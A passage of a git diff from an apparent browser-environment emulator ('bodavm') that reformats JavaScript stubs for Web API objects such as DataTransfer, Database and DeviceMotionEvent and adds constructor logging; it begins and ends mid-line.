{configurable:true, enumerable:true, writable:true, value:function clearData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransfer'].prototype, "DataTransfer", "clearData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DataTransfer', "getData", {configurable:true, enumerable:true, writable:true, value:function getData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransfer'].prototype, "DataTransfer", "getData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DataTransfer', "setData", {configurable:true, enumerable:true, writable:true, value:function setData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransfer'].prototype, "DataTransfer", "setData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DataTransfer', "setDragImage", {configurable:true, enumerable:true, writable:true, value:function setDragImage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransfer'].prototype, "DataTransfer", "setDragImage", arguments)}},'prototype'); +// DataTransfer对象 + +bodavm.memory.globalobj['DataTransfer'] = function DataTransfer() { + console.log_copy('DataTransfer 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.DataTransfer(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DataTransfer'], "DataTransfer"); +bodavm.toolsFunc.defineProperty('DataTransfer', "dropEffect", { + configurable: true, + enumerable: true, + get: function dropEffect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransfer'].prototype, "DataTransfer", "dropEffect_get", arguments); + }, + set: function dropEffect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransfer'].prototype, "DataTransfer", "dropEffect_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DataTransfer', "effectAllowed", { + configurable: true, + enumerable: true, + get: function effectAllowed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransfer'].prototype, "DataTransfer", "effectAllowed_get", arguments); + }, + set: function effectAllowed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransfer'].prototype, "DataTransfer", "effectAllowed_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DataTransfer', "items", { + configurable: true, + enumerable: true, + get: function items() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransfer'].prototype, "DataTransfer", "items_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DataTransfer', "types", { + configurable: true, + enumerable: true, + get: function types() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransfer'].prototype, "DataTransfer", "types_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DataTransfer', "files", { + configurable: true, + enumerable: true, + get: function files() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransfer'].prototype, "DataTransfer", "files_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DataTransfer', "clearData", { + configurable: true, + enumerable: true, + writable: true, + value: function clearData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransfer'].prototype, "DataTransfer", "clearData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DataTransfer', "getData", { + configurable: true, + enumerable: true, + writable: true, + value: function getData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransfer'].prototype, "DataTransfer", "getData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DataTransfer', "setData", { + configurable: true, + enumerable: true, + writable: true, + value: function setData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransfer'].prototype, "DataTransfer", "setData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DataTransfer', "setDragImage", { + configurable: true, + enumerable: true, + writable: true, + value: function setDragImage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransfer'].prototype, "DataTransfer", "setDragImage", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/DataTransferItem.js b/env_xbb_lastest_jsdom/env/DataTransferItem.js index 9ca9704e..d4aa0016 100644 --- a/env_xbb_lastest_jsdom/env/DataTransferItem.js +++ b/env_xbb_lastest_jsdom/env/DataTransferItem.js @@ -1,9 +1,65 @@ -// DataTransferItem对象 -bodavm.memory.globalobj['DataTransferItem'] = function DataTransferItem(){if (!(this instanceof DataTransferItem)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DataTransferItem'], "DataTransferItem"); -bodavm.toolsFunc.defineProperty('DataTransferItem', "kind", {configurable:true, enumerable:true, get:function kind (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransferItem'].prototype, "DataTransferItem", "kind_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DataTransferItem', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransferItem'].prototype, "DataTransferItem", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DataTransferItem', "getAsFile", {configurable:true, enumerable:true, writable:true, value:function getAsFile (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransferItem'].prototype, "DataTransferItem", "getAsFile", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DataTransferItem', "getAsString", {configurable:true, enumerable:true, writable:true, value:function getAsString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransferItem'].prototype, "DataTransferItem", "getAsString", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DataTransferItem', "webkitGetAsEntry", {configurable:true, enumerable:true, writable:true, value:function webkitGetAsEntry (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransferItem'].prototype, "DataTransferItem", "webkitGetAsEntry", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DataTransferItem', "getAsFileSystemHandle", {configurable:true, enumerable:true, writable:true, value:function getAsFileSystemHandle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransferItem'].prototype, "DataTransferItem", "getAsFileSystemHandle", arguments)}},'prototype'); +// DataTransferItem对象 + +bodavm.memory.globalobj['DataTransferItem'] = function DataTransferItem() { + console.log_copy('DataTransferItem 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof DataTransferItem)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DataTransferItem'], "DataTransferItem"); +bodavm.toolsFunc.defineProperty('DataTransferItem', "kind", { + configurable: true, + enumerable: true, + get: function kind() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransferItem'].prototype, "DataTransferItem", "kind_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DataTransferItem', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransferItem'].prototype, "DataTransferItem", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DataTransferItem', "getAsFile", { + configurable: true, + enumerable: true, + writable: true, + value: function getAsFile() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransferItem'].prototype, "DataTransferItem", "getAsFile", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DataTransferItem', "getAsString", { + configurable: true, + enumerable: true, + writable: true, + value: function getAsString() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransferItem'].prototype, "DataTransferItem", "getAsString", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DataTransferItem', "webkitGetAsEntry", { + configurable: true, + enumerable: true, + writable: true, + value: function webkitGetAsEntry() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransferItem'].prototype, "DataTransferItem", "webkitGetAsEntry", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DataTransferItem', "getAsFileSystemHandle", { + configurable: true, + enumerable: true, + writable: true, + value: function getAsFileSystemHandle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransferItem'].prototype, "DataTransferItem", "getAsFileSystemHandle", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/DataTransferItemList.js b/env_xbb_lastest_jsdom/env/DataTransferItemList.js index 607881eb..bda193f3 100644 --- a/env_xbb_lastest_jsdom/env/DataTransferItemList.js +++ b/env_xbb_lastest_jsdom/env/DataTransferItemList.js @@ -1,7 +1,49 @@ -// DataTransferItemList对象 -bodavm.memory.globalobj['DataTransferItemList'] = function DataTransferItemList(){if (!(this instanceof DataTransferItemList)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DataTransferItemList'], "DataTransferItemList"); -bodavm.toolsFunc.defineProperty('DataTransferItemList', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransferItemList'].prototype, "DataTransferItemList", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DataTransferItemList', "add", {configurable:true, enumerable:true, writable:true, value:function add (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransferItemList'].prototype, "DataTransferItemList", "add", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DataTransferItemList', "clear", {configurable:true, enumerable:true, writable:true, value:function clear (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransferItemList'].prototype, "DataTransferItemList", "clear", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DataTransferItemList', "remove", {configurable:true, enumerable:true, writable:true, value:function remove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransferItemList'].prototype, "DataTransferItemList", "remove", arguments)}},'prototype'); +// DataTransferItemList对象 + +bodavm.memory.globalobj['DataTransferItemList'] = function DataTransferItemList() { + console.log_copy('DataTransferItemList 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof DataTransferItemList)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DataTransferItemList'], "DataTransferItemList"); +bodavm.toolsFunc.defineProperty('DataTransferItemList', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransferItemList'].prototype, "DataTransferItemList", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DataTransferItemList', "add", { + configurable: true, + enumerable: true, + writable: true, + value: function add() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransferItemList'].prototype, "DataTransferItemList", "add", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DataTransferItemList', "clear", { + configurable: true, + enumerable: true, + writable: true, + value: function clear() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransferItemList'].prototype, "DataTransferItemList", "clear", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DataTransferItemList', "remove", { + configurable: true, + enumerable: true, + writable: true, + value: function remove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransferItemList'].prototype, "DataTransferItemList", "remove", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/Database.js b/env_xbb_lastest_jsdom/env/Database.js index e1e5858f..71f1e626 100644 --- a/env_xbb_lastest_jsdom/env/Database.js +++ b/env_xbb_lastest_jsdom/env/Database.js @@ -1,13 +1,46 @@ - - // BarProp对象 -bodavm.memory.globalobj['Database'] = function Database() { return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor") } -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Database'] , "Database"); -bodavm.toolsFunc.defineProperty('Database' , "version", { configurable: true, enumerable: true, get: function version() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Database'].prototype, "Database", "version", arguments) }, set: undefined },'prototype'); -bodavm.toolsFunc.defineProperty('Database' , "readTransaction", { configurable: true, enumerable: true, writable: true, value: function readTransaction() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Database'].prototype, "Database", "readTransaction", arguments) } },'prototype'); -bodavm.toolsFunc.defineProperty('Database' , "transaction", { configurable: true, enumerable: true, writable: true, value: function transaction() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Database'].prototype, "Database", "transaction", arguments) } },'prototype'); -bodavm.toolsFunc.defineProperty('Database' , "changeVersion", { configurable: true, enumerable: true, writable: true, value: function changeVersion() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Database'].prototype, "Database", "changeVersion", arguments) } },'prototype'); - -bodavm.memory.globalobj[ 'database'] = {} -bodavm.memory.globalobj[ 'database'] .__proto__ = bodavm.memory.globalobj['Database'] .prototype - +bodavm.memory.globalobj['Database'] = function Database() { + console.log_copy('Database 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Database'], "Database"); +bodavm.toolsFunc.defineProperty('Database', "version", { + configurable: true, + enumerable: true, + get: function version() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Database'].prototype, "Database", "version", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Database', "readTransaction", { + configurable: true, + enumerable: true, + writable: true, + value: function readTransaction() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Database'].prototype, "Database", "readTransaction", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Database', "transaction", { + configurable: true, + enumerable: true, + writable: true, + value: function transaction() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Database'].prototype, "Database", "transaction", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Database', "changeVersion", { + configurable: true, + enumerable: true, + writable: true, + value: function changeVersion() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Database'].prototype, "Database", "changeVersion", arguments); + } +}, 'prototype'); +bodavm.memory.globalobj['database'] = {}; +bodavm.memory.globalobj['database'].__proto__ = bodavm.memory.globalobj['Database'].prototype; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/DecompressionStream.js b/env_xbb_lastest_jsdom/env/DecompressionStream.js index de46b8b3..b8d2a37f 100644 --- a/env_xbb_lastest_jsdom/env/DecompressionStream.js +++ b/env_xbb_lastest_jsdom/env/DecompressionStream.js @@ -1,5 +1,33 @@ -// DecompressionStream对象 -bodavm.memory.globalobj['DecompressionStream'] = function DecompressionStream(){if (!(this instanceof DecompressionStream)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'DecompressionStream': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DecompressionStream'], "DecompressionStream"); -bodavm.toolsFunc.defineProperty('DecompressionStream', "readable", {configurable:true, enumerable:true, get:function readable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DecompressionStream'].prototype, "DecompressionStream", "readable_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DecompressionStream', "writable", {configurable:true, enumerable:true, get:function writable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DecompressionStream'].prototype, "DecompressionStream", "writable_get", arguments)}, set:undefined},'prototype'); +// DecompressionStream对象 + +bodavm.memory.globalobj['DecompressionStream'] = function DecompressionStream() { + console.log_copy('DecompressionStream 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof DecompressionStream)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'DecompressionStream': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DecompressionStream'], "DecompressionStream"); +bodavm.toolsFunc.defineProperty('DecompressionStream', "readable", { + configurable: true, + enumerable: true, + get: function readable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DecompressionStream'].prototype, "DecompressionStream", "readable_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DecompressionStream', "writable", { + configurable: true, + enumerable: true, + get: function writable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DecompressionStream'].prototype, "DecompressionStream", "writable_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/DelayNode.js b/env_xbb_lastest_jsdom/env/DelayNode.js index c394f26c..2167188d 100644 --- a/env_xbb_lastest_jsdom/env/DelayNode.js +++ b/env_xbb_lastest_jsdom/env/DelayNode.js @@ -1,6 +1,27 @@ -// DelayNode对象 -bodavm.memory.globalobj['DelayNode'] = function DelayNode(){if (!(this instanceof DelayNode)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'DelayNode': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DelayNode'], "DelayNode"); -bodavm.memory.globalobj['DelayNode'].prototype.__proto__=bodavm.memory.globalobj['AudioNode'].prototype; -bodavm.memory.globalobj['DelayNode'].__proto__=bodavm.memory.globalobj['AudioNode']; -bodavm.toolsFunc.defineProperty('DelayNode', "delayTime", {configurable:true, enumerable:true, get:function delayTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DelayNode'].prototype, "DelayNode", "delayTime_get", arguments)}, set:undefined},'prototype'); +// DelayNode对象 + +bodavm.memory.globalobj['DelayNode'] = function DelayNode() { + console.log_copy('DelayNode 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof DelayNode)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'DelayNode': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DelayNode'], "DelayNode"); +bodavm.memory.globalobj['DelayNode'].prototype.__proto__ = bodavm.memory.globalobj['AudioNode'].prototype; +bodavm.memory.globalobj['DelayNode'].__proto__ = bodavm.memory.globalobj['AudioNode']; +bodavm.toolsFunc.defineProperty('DelayNode', "delayTime", { + configurable: true, + enumerable: true, + get: function delayTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DelayNode'].prototype, "DelayNode", "delayTime_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/DelegatedInkTrailPresenter.js b/env_xbb_lastest_jsdom/env/DelegatedInkTrailPresenter.js index 2ba13788..45e2d7b2 100644 --- a/env_xbb_lastest_jsdom/env/DelegatedInkTrailPresenter.js +++ b/env_xbb_lastest_jsdom/env/DelegatedInkTrailPresenter.js @@ -1,6 +1,41 @@ -// DelegatedInkTrailPresenter对象 -bodavm.memory.globalobj['DelegatedInkTrailPresenter'] = function DelegatedInkTrailPresenter(){if (!(this instanceof DelegatedInkTrailPresenter)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DelegatedInkTrailPresenter'], "DelegatedInkTrailPresenter"); -bodavm.toolsFunc.defineProperty('DelegatedInkTrailPresenter', "presentationArea", {configurable:true, enumerable:true, get:function presentationArea (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DelegatedInkTrailPresenter'].prototype, "DelegatedInkTrailPresenter", "presentationArea_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DelegatedInkTrailPresenter', "expectedImprovement", {configurable:true, enumerable:true, get:function expectedImprovement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DelegatedInkTrailPresenter'].prototype, "DelegatedInkTrailPresenter", "expectedImprovement_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DelegatedInkTrailPresenter', "updateInkTrailStartPoint", {configurable:true, enumerable:true, writable:true, value:function updateInkTrailStartPoint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DelegatedInkTrailPresenter'].prototype, "DelegatedInkTrailPresenter", "updateInkTrailStartPoint", arguments)}},'prototype'); +// DelegatedInkTrailPresenter对象 + +bodavm.memory.globalobj['DelegatedInkTrailPresenter'] = function DelegatedInkTrailPresenter() { + console.log_copy('DelegatedInkTrailPresenter 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof DelegatedInkTrailPresenter)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DelegatedInkTrailPresenter'], "DelegatedInkTrailPresenter"); +bodavm.toolsFunc.defineProperty('DelegatedInkTrailPresenter', "presentationArea", { + configurable: true, + enumerable: true, + get: function presentationArea() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DelegatedInkTrailPresenter'].prototype, "DelegatedInkTrailPresenter", "presentationArea_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DelegatedInkTrailPresenter', "expectedImprovement", { + configurable: true, + enumerable: true, + get: function expectedImprovement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DelegatedInkTrailPresenter'].prototype, "DelegatedInkTrailPresenter", "expectedImprovement_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DelegatedInkTrailPresenter', "updateInkTrailStartPoint", { + configurable: true, + enumerable: true, + writable: true, + value: function updateInkTrailStartPoint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DelegatedInkTrailPresenter'].prototype, "DelegatedInkTrailPresenter", "updateInkTrailStartPoint", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/DeprecatedStorageInfo.js b/env_xbb_lastest_jsdom/env/DeprecatedStorageInfo.js index 12a480aa..c319b38d 100644 --- a/env_xbb_lastest_jsdom/env/DeprecatedStorageInfo.js +++ b/env_xbb_lastest_jsdom/env/DeprecatedStorageInfo.js @@ -1,13 +1,52 @@ - -bodavm.memory.globalobj['DeprecatedStorageInfo'] = function DeprecatedStorageInfo() { } -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DeprecatedStorageInfo'] , "DeprecatedStorageInfo"); - -bodavm.toolsFunc.defineProperty('DeprecatedStorageInfo' , "TEMPORARY", { configurable: false, enumerable: true, writable: false, value: 0 }); -bodavm.toolsFunc.defineProperty('DeprecatedStorageInfo' , "PERSISTENT", { configurable: false, enumerable: true, writable: false, value: 1 }); -bodavm.toolsFunc.defineProperty('DeprecatedStorageInfo' , "TEMPORARY", { configurable: false, enumerable: true, writable: false, value: 0 },'prototype'); -bodavm.toolsFunc.defineProperty('DeprecatedStorageInfo' , "PERSISTENT", { configurable: false, enumerable: true, writable: false, value: 1 },'prototype'); -bodavm.toolsFunc.defineProperty('DeprecatedStorageInfo' , "queryUsageAndQuota", { writable: true, enumerable: true, configurable: true, value: function queryUsageAndQuota() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeprecatedStorageInfo'] .prototype, "DeprecatedStorageInfo", "queryUsageAndQuota", arguments) } },'prototype'); -bodavm.toolsFunc.defineProperty('DeprecatedStorageInfo' , "requestQuota", { writable: true, enumerable: true, configurable: true, value: function requestQuota() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeprecatedStorageInfo'] .prototype, "DeprecatedStorageInfo", "requestQuota", arguments) } },'prototype'); - -bodavm.memory.globalobj[ 'webkitStorageInfo'] = {} -bodavm.memory.globalobj[ 'webkitStorageInfo'].__proto__ = bodavm.memory.globalobj['DeprecatedStorageInfo'].prototype +bodavm.memory.globalobj['DeprecatedStorageInfo'] = function DeprecatedStorageInfo() { + console.log_copy('DeprecatedStorageInfo 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DeprecatedStorageInfo'], "DeprecatedStorageInfo"); +bodavm.toolsFunc.defineProperty('DeprecatedStorageInfo', "TEMPORARY", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('DeprecatedStorageInfo', "PERSISTENT", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('DeprecatedStorageInfo', "TEMPORARY", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DeprecatedStorageInfo', "PERSISTENT", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DeprecatedStorageInfo', "queryUsageAndQuota", { + writable: true, + enumerable: true, + configurable: true, + value: function queryUsageAndQuota() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeprecatedStorageInfo'].prototype, "DeprecatedStorageInfo", "queryUsageAndQuota", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DeprecatedStorageInfo', "requestQuota", { + writable: true, + enumerable: true, + configurable: true, + value: function requestQuota() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeprecatedStorageInfo'].prototype, "DeprecatedStorageInfo", "requestQuota", arguments); + } +}, 'prototype'); +bodavm.memory.globalobj['webkitStorageInfo'] = {}; +bodavm.memory.globalobj['webkitStorageInfo'].__proto__ = bodavm.memory.globalobj['DeprecatedStorageInfo'].prototype; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/DeviceMotionEvent.js b/env_xbb_lastest_jsdom/env/DeviceMotionEvent.js index 10fc39c2..a2d1340b 100644 --- a/env_xbb_lastest_jsdom/env/DeviceMotionEvent.js +++ b/env_xbb_lastest_jsdom/env/DeviceMotionEvent.js @@ -1,9 +1,51 @@ -// DeviceMotionEvent对象 -bodavm.memory.globalobj['DeviceMotionEvent'] = function DeviceMotionEvent(){if (!(this instanceof DeviceMotionEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'DeviceMotionEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DeviceMotionEvent'], "DeviceMotionEvent"); -bodavm.memory.globalobj['DeviceMotionEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['DeviceMotionEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('DeviceMotionEvent', "acceleration", {configurable:true, enumerable:true, get:function acceleration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceMotionEvent'].prototype, "DeviceMotionEvent", "acceleration_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DeviceMotionEvent', "accelerationIncludingGravity", {configurable:true, enumerable:true, get:function accelerationIncludingGravity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceMotionEvent'].prototype, "DeviceMotionEvent", "accelerationIncludingGravity_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DeviceMotionEvent', "rotationRate", {configurable:true, enumerable:true, get:function rotationRate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceMotionEvent'].prototype, "DeviceMotionEvent", "rotationRate_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DeviceMotionEvent', "interval", {configurable:true, enumerable:true, get:function interval (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceMotionEvent'].prototype, "DeviceMotionEvent", "interval_get", arguments)}, set:undefined},'prototype'); +// DeviceMotionEvent对象 + +bodavm.memory.globalobj['DeviceMotionEvent'] = function DeviceMotionEvent() { + console.log_copy('DeviceMotionEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof DeviceMotionEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'DeviceMotionEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DeviceMotionEvent'], "DeviceMotionEvent"); +bodavm.memory.globalobj['DeviceMotionEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['DeviceMotionEvent'].__proto__ = 